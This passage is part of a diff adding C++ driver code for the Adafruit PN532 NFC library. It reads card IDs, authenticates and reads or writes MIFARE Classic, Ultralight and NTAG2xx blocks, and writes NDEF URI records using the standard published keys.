pn532_packetbuffer[0] = PN532_COMMAND_RFCONFIGURATION; + pn532_packetbuffer[1] = 5; // Config item 5 (MaxRetries) + pn532_packetbuffer[2] = 0xFF; // MxRtyATR (default = 0xFF) + pn532_packetbuffer[3] = 0x01; // MxRtyPSL (default = 0x01) + pn532_packetbuffer[4] = maxRetries; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Setting MxRtyPassiveActivation to ")); + PN532DEBUGPRINT.print(maxRetries, DEC); + PN532DEBUGPRINT.println(F(" ")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 5)) + return 0x0; // no ACK + + return 1; +} + +/***** ISO14443A Commands ******/ + +/**************************************************************************/ +/*! + @brief Waits for an ISO14443A target to enter the field and reads + its ID. + + @param cardbaudrate Baud rate of the card + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + @param timeout Timeout in milliseconds. + + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readPassiveTargetID(uint8_t cardbaudrate, uint8_t *uid, + uint8_t *uidLength, uint16_t timeout) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, timeout)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("No card(s) read")); +#endif + return 0x0; // no cards read + } + + return readDetectedPassiveTargetID(uid, uidLength); +} + +/**************************************************************************/ +/*! + @brief Put the reader in detection mode, non blocking so interrupts + must be enabled. + @param cardbaudrate Baud rate of the card + @return 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::startPassiveTargetIDDetection(uint8_t cardbaudrate) { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; // max 1 cards at once (we can set this to 2 later) + pn532_packetbuffer[2] = cardbaudrate; + + return sendCommandCheckAck(pn532_packetbuffer, 3); +} + +/**************************************************************************/ +/*! + Reads the ID of the passive target the reader has deteceted. + + @param uid Pointer to the array that will be populated + with the card's UID (up to 7 bytes) + @param uidLength Pointer to the variable that will hold the + length of the card's UID. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +bool Adafruit_PN532::readDetectedPassiveTargetID(uint8_t *uid, + uint8_t *uidLength) { + // read data packet + readdata(pn532_packetbuffer, 20); + // check some basic stuff + + /* ISO14443A card response should be in the following format: + + byte Description + ------------- ------------------------------------------ + b0..6 Frame header and preamble + b7 Tags Found + b8 Tag Number (only one used in this example) + b9..10 SENS_RES + b11 SEL_RES + b12 NFCID Length + b13..NFCIDLen NFCID */ + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Found ")); + PN532DEBUGPRINT.print(pn532_packetbuffer[7], DEC); + PN532DEBUGPRINT.println(F(" tags")); +#endif + if (pn532_packetbuffer[7] != 1) + return 0; + + uint16_t sens_res = pn532_packetbuffer[9]; + sens_res <<= 8; + sens_res |= pn532_packetbuffer[10]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("ATQA: 0x")); + PN532DEBUGPRINT.println(sens_res, HEX); + PN532DEBUGPRINT.print(F("SAK: 0x")); + PN532DEBUGPRINT.println(pn532_packetbuffer[11], HEX); +#endif + + /* Card appears to be Mifare Classic */ + *uidLength = pn532_packetbuffer[12]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("UID:")); +#endif + for (uint8_t i = 0; i < pn532_packetbuffer[12]; i++) { + uid[i] = pn532_packetbuffer[13 + i]; +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F(" 0x")); + PN532DEBUGPRINT.print(uid[i], HEX); +#endif + } +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + @brief Exchanges an APDU with the currently inlisted peer + + @param send Pointer to data to send + @param sendLength Length of the data to send + @param response Pointer to response data + @param responseLength Pointer to the response data length + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inDataExchange(uint8_t *send, uint8_t sendLength, + uint8_t *response, + uint8_t *responseLength) { + if (sendLength > PN532_PACKBUFFSIZ - 2) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("APDU length too long for packet buffer")); +#endif + return false; + } + uint8_t i; + + pn532_packetbuffer[0] = 0x40; // PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = _inListedTag; + for (i = 0; i < sendLength; ++i) { + pn532_packetbuffer[i + 2] = send[i]; + } + + if (!sendCommandCheckAck(pn532_packetbuffer, sendLength + 2, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send APDU")); +#endif + return false; + } + + if (!waitready(1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Response never received for APDU...")); +#endif + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INDATAEXCHANGE) { + if ((pn532_packetbuffer[7] & 0x3f) != 0) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Status code indicates an error")); +#endif + return false; + } + + length -= 3; + + if (length > *responseLength) { + length = *responseLength; // silent truncation... + } + + for (i = 0; i < length; ++i) { + response[i] = pn532_packetbuffer[8 + i]; + } + *responseLength = length; + + return true; + } else { + PN532DEBUGPRINT.print(F("Don't know how to handle this command: ")); + PN532DEBUGPRINT.println(pn532_packetbuffer[6], HEX); + return false; + } + } else { + PN532DEBUGPRINT.println(F("Preamble missing")); + return false; + } +} + +/**************************************************************************/ +/*! + @brief 'InLists' a passive target. PN532 acting as reader/initiator, + peer acting as card/responder. + @return true on success, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::inListPassiveTarget() { + pn532_packetbuffer[0] = PN532_COMMAND_INLISTPASSIVETARGET; + pn532_packetbuffer[1] = 1; + pn532_packetbuffer[2] = 0; + +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("About to inList passive target")); +#endif + + if (!sendCommandCheckAck(pn532_packetbuffer, 3, 1000)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Could not send inlist message")); +#endif + return false; + } + + if (!waitready(30000)) { + return false; + } + + readdata(pn532_packetbuffer, sizeof(pn532_packetbuffer)); + + if (pn532_packetbuffer[0] == 0 && pn532_packetbuffer[1] == 0 && + pn532_packetbuffer[2] == 0xff) { + uint8_t length = pn532_packetbuffer[3]; + if (pn532_packetbuffer[4] != (uint8_t)(~length + 1)) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Length check invalid")); + PN532DEBUGPRINT.println(length, HEX); + PN532DEBUGPRINT.println((~length) + 1, HEX); +#endif + return false; + } + if (pn532_packetbuffer[5] == PN532_PN532TOHOST && + pn532_packetbuffer[6] == PN532_RESPONSE_INLISTPASSIVETARGET) { + if (pn532_packetbuffer[7] != 1) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Unhandled number of targets inlisted")); +#endif + PN532DEBUGPRINT.println(F("Number of tags inlisted:")); + PN532DEBUGPRINT.println(pn532_packetbuffer[7]); + return false; + } + + _inListedTag = pn532_packetbuffer[8]; + PN532DEBUGPRINT.print(F("Tag number: ")); + PN532DEBUGPRINT.println(_inListedTag); + + return true; + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Unexpected response to inlist passive host")); +#endif + return false; + } + } else { +#ifdef PN532DEBUG + PN532DEBUGPRINT.println(F("Preamble missing")); +#endif + return false; + } + + return true; +} + +/***** Mifare Classic Functions ******/ + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the first block + in the sector (block 0 relative to the current sector) + @param uiBlock Block number to test. + @return true if first block, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsFirstBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock) % 4 == 0); + else + return ((uiBlock) % 16 == 0); +} + +/**************************************************************************/ +/*! + @brief Indicates whether the specified block number is the sector + trailer. + @param uiBlock Block number to test. + @return true if sector trailer, false otherwise. +*/ +/**************************************************************************/ +bool Adafruit_PN532::mifareclassic_IsTrailerBlock(uint32_t uiBlock) { + // Test if we are in the small or big sectors + if (uiBlock < 128) + return ((uiBlock + 1) % 4 == 0); + else + return ((uiBlock + 1) % 16 == 0); +} + +/**************************************************************************/ +/*! + Tries to authenticate a block of memory on a MIFARE card using the + INDATAEXCHANGE command. See section 7.3.8 of the PN532 User Manual + for more information on sending MIFARE and other commands. + + @param uid Pointer to a byte array containing the card UID + @param uidLen The length (in bytes) of the card's UID (Should + be 4 for MIFARE Classic) + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param keyNumber Which key type to use during authentication + (0 = MIFARE_CMD_AUTH_A, 1 = MIFARE_CMD_AUTH_B) + @param keyData Pointer to a byte array containing the 6 byte + key value + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_AuthenticateBlock(uint8_t *uid, + uint8_t uidLen, + uint32_t blockNumber, + uint8_t keyNumber, + uint8_t *keyData) { + // uint8_t len; + uint8_t i; + + // Hang on to the key and uid data + memcpy(_key, keyData, 6); + memcpy(_uid, uid, uidLen); + _uidLen = uidLen; + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to authenticate card ")); + Adafruit_PN532::PrintHex(_uid, _uidLen); + PN532DEBUGPRINT.print(F("Using authentication KEY ")); + PN532DEBUGPRINT.print(keyNumber ? 'B' : 'A'); + PN532DEBUGPRINT.print(F(": ")); + Adafruit_PN532::PrintHex(_key, 6); +#endif + + // Prepare the authentication command // + pn532_packetbuffer[0] = + PN532_COMMAND_INDATAEXCHANGE; /* Data Exchange Header */ + pn532_packetbuffer[1] = 1; /* Max card numbers */ + pn532_packetbuffer[2] = (keyNumber) ? MIFARE_CMD_AUTH_B : MIFARE_CMD_AUTH_A; + pn532_packetbuffer[3] = + blockNumber; /* Block Number (1K = 0..63, 4K = 0..255 */ + memcpy(pn532_packetbuffer + 4, _key, 6); + for (i = 0; i < _uidLen; i++) { + pn532_packetbuffer[10 + i] = _uid[i]; /* 4 byte card ID */ + } + + if (!sendCommandCheckAck(pn532_packetbuffer, 10 + _uidLen)) + return 0; + + // Read the response packet + readdata(pn532_packetbuffer, 12); + + // check if the response is valid and we are authenticated??? + // for an auth success it should be bytes 5-7: 0xD5 0x41 0x00 + // Mifare auth error is technically byte 7: 0x14 but anything other and 0x00 + // is not good + if (pn532_packetbuffer[7] != 0x00) { +#ifdef PN532DEBUG + PN532DEBUGPRINT.print(F("Authentification failed: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 12); +#endif + return 0; + } + + return 1; +} + +/**************************************************************************/ +/*! + Tries to read an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data Pointer to the byte array that will hold the + retrieved data (if any) + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to read 16 bytes from block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for read command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] != 0x00) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + + /* Copy the 16 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + memcpy(data, pn532_packetbuffer + 8, 16); + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Block ")); + PN532DEBUGPRINT.println(blockNumber); + Adafruit_PN532::PrintHexChar(data, 16); +#endif + + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 16-byte data block at the specified block + address. + + @param blockNumber The block number to authenticate. (0..63 for + 1KB cards, and 0..255 for 4KB cards). + @param data The byte array that contains the data to write. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber, + uint8_t *data) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block ")); + PN532DEBUGPRINT.println(blockNumber); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */ + pn532_packetbuffer[3] = + blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ + memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 20)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + return 1; +} + +/**************************************************************************/ +/*! + Formats a Mifare Classic card to store NDEF Records + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) { + uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, + 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; + uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77, + 0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + + // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A + // for the MAD sector in NDEF records (sector 0) + + // Write block 1 and 2 to the card + if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2))) + return 0; + // Write key A and access rights card + if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record to the specified sector (1..15) + + Note that this function assumes that the Mifare Classic card is + already formatted to work as an "NFC Forum Tag" and uses a MAD1 + file system. You can use the NXP TagWriter app on Android to + properly format cards for this. + + @param sectorNumber The sector that the URI record should be written + to (can be 1..15 for a 1K card) + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (max 38 characters). + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber, + uint8_t uriIdentifier, + const char *url) { + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure we're within a 1K limit for the sector number + if ((sectorNumber < 1) || (sectorNumber > 15)) + return 0; + + // Make sure the URI payload is between 1 and 38 chars + if ((len < 1) || (len > 38)) + return 0; + + // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A + // in NDEF records + + // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message) + uint8_t sectorbuffer1[16] = {0x00, + 0x00, + 0x03, + (uint8_t)(len + 5), + 0xD1, + 0x01, + (uint8_t)(len + 1), + 0x55, + uriIdentifier, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00}; + uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07, + 0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + if (len <= 6) { + // Unlikely we'll get a url this short, but why not ... + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer1[len + 9] = 0xFE; + } else if (len == 7) { + // 0xFE needs to be wrapped around to next block + memcpy(sectorbuffer1 + 9, url, len); + sectorbuffer2[0] = 0xFE; + } else if ((len > 7) && (len <= 22)) { + // Url fits in two blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer2[len - 7] = 0xFE; + } else if (len == 23) { + // 0xFE needs to be wrapped around to final block + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, len - 7); + sectorbuffer3[0] = 0xFE; + } else { + // Url fits in three blocks + memcpy(sectorbuffer1 + 9, url, 7); + memcpy(sectorbuffer2, url + 7, 16); + memcpy(sectorbuffer3, url + 23, len - 24); + sectorbuffer3[len - 22] = 0xFE; + } + + // Now write all three blocks back to the card + if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3))) + return 0; + if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4))) + return 0; + + // Seems that everything was OK (?!) + return 1; +} + +/***** Mifare Ultralight Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page, + uint8_t *buffer) { + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page, + uint8_t *data) { + + if (page >= 64) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/***** NTAG2xx Functions ******/ + +/**************************************************************************/ +/*! + @brief Tries to read an entire 4-byte page at the specified address. + + @param page The page number (0..63 in most cases) + @param buffer Pointer to the byte array that will hold the + retrieved data (if any) + @return 1 on success, 0 on error. +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if (page >= 231) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Reading page ")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + return 0; + } + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Received: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + + /* If byte 8 isn't 0x00 we probably have an error */ + if (pn532_packetbuffer[7] == 0x00) { + /* Copy the 4 data bytes to the output buffer */ + /* Block content starts at byte 9 of a valid response */ + /* Note that the command actually reads 16 byte or 4 */ + /* pages at a time ... we simply discard the last 12 */ + /* bytes */ + memcpy(buffer, pn532_packetbuffer + 8, 4); + } else { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); + Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); +#endif + return 0; + } + +/* Display data for debug if requested */ +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Page ")); + PN532DEBUGPRINT.print(page); + PN532DEBUGPRINT.println(F(":")); + Adafruit_PN532::PrintHexChar(buffer, 4); +#endif + + // Return OK signal + return 1; +} + +/**************************************************************************/ +/*! + Tries to write an entire 4-byte page at the specified block + address. + + @param page The page number to write. (0..63 for most cases) + @param data The byte array that contains the data to write. + Should be exactly 4 bytes long. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WritePage(uint8_t page, uint8_t *data) { + // TAG Type PAGES USER START USER STOP + // -------- ----- ---------- --------- + // NTAG 203 42 4 39 + // NTAG 213 45 4 39 + // NTAG 215 135 4 129 + // NTAG 216 231 4 225 + + if ((page < 4) || (page > 225)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Page value out of range")); +#endif + // Return Failed Signal + return 0; + } + +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); + PN532DEBUGPRINT.println(page); +#endif + + /* Prepare the first command */ + pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; + pn532_packetbuffer[1] = 1; /* Card number */ + pn532_packetbuffer[2] = + MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ + pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ + memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ + + /* Send the command */ + if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { +#ifdef MIFAREDEBUG + PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); +#endif + + // Return Failed Signal + return 0; + } + delay(10); + + /* Read the response packet */ + readdata(pn532_packetbuffer, 26); + + // Return OK Signal + return 1; +} + +/**************************************************************************/ +/*! + Writes an NDEF URI Record starting at the specified page (4..nn) + + Note that this function assumes that the NTAG2xx card is + already formatted to work as an "NFC Forum Tag". + + @param uriIdentifier The uri identifier code (0 = none, 0x01 = + "http://www.", etc.) + @param url The uri text to write (null-terminated string). + @param dataLen The size of the data area for overflow checks. + + @returns 1 if everything executed properly, 0 for an error +*/ +/**************************************************************************/ +uint8_t Adafruit_PN532::ntag2xx_WriteNDEFURI(uint8_t uriIdentifier, char *url, + uint8_t dataLen) { + uint8_t pageBuffer[4] = {0, 0, 0, 0}; + + // Remove NDEF record overhead from the URI data (pageHeader below) + uint8_t wrapperSize = 12; + + // Figure out how long the string is + uint8_t len = strlen(url); + + // Make sure the URI payload will fit in dataLen (include 0xFE trailer) + if ((len < 1) || (len + 1 > (dataLen - wrapperSize))) + return 0; + + // Setup the record header + // See NFCForum-TS-Type-2-Tag_1.1.pdf for details + uint8_t pageHeader[12] = { + /* NDEF Lock Control TLV (must be first and always present) */ + 0x01, /* Tag Field (0x01 = Lock Control TLV) */ + 0x03, /* Payload Length (always 3) */ + 0xA0, /* The position inside the tag of the lock bytes (upper 4 = page + address, lower 4 = byte offset) */ + 0x10, /* Size in bits of the lock area */ + 0x44, /* Size in bytes of a page and the number of bytes each lock bit can + lock (4 bit + 4 bits) */ + /* NDEF Message TLV - URI Record */ + 0x03, /* Tag Field (0x03 = NDEF Message) */ + (uint8_t)(len + 5), /* Payload Length (not including 0xFE trailer) */ + 0xD1, /* NDEF Record Header (TNF=0x1:Well known record + SR + ME + MB) */ + 0x01, /* Type Length for the record type indicator */ + (uint8_t)(len + 1), /* Payload len */ + 0x55, /* Record Type Indicator (0x55 or 'U' = URI Record) */ + uriIdentifier /* URI Prefix (ex. 0x01 = "http://www.") */ + }; + + // Write 12 byte header (three pages of data starting at page 4) + memcpy(pageBuffer, pageHeader, 4); + if (!(ntag2xx_WritePage(4, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 4, 4); + if (!(ntag2xx_WritePage(5, pageBuffer))) + return 0; + memcpy(pageBuffer, pageHeader + 8, 4); + if (!(ntag2xx_WritePage(6, pageBuffer))) + return 0; + + // Write URI (starting at page 7) + uint8_t currentPage = 7; + char *urlcopy = url; + while (len) { + if (len < 4) { + memset(pageBuffer, 0, 4); + memcpy(pageBuffer, urlcopy, len); + pageBuffer[len] = 0xFE; // NDEF record footer + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else if (len == 4) { + memcpy(pageBuffer, urlcopy, len); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + memset(pageBuffer, 0, 4); + pageBuffer[0] = 0xFE; // NDEF record footer + currentPage++; + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + // DONE! + return 1; + } else { + // More than one page of data left + memcpy(pageBuffer, urlcopy, 4); + if (!(ntag2xx_WritePage(currentPage, pageBuffer))) + return 0; + currentPage++; + urlcopy += 4; + len -= 4; + } + } + + // Seems that everything was OK (?!) + return 1; +} + +/************** high level communication functions (handles both I2C and SPI) */ + +/**************************************************************************/ +/*! + @brief Tries to read the SPI or I2C ACK signal +*/ 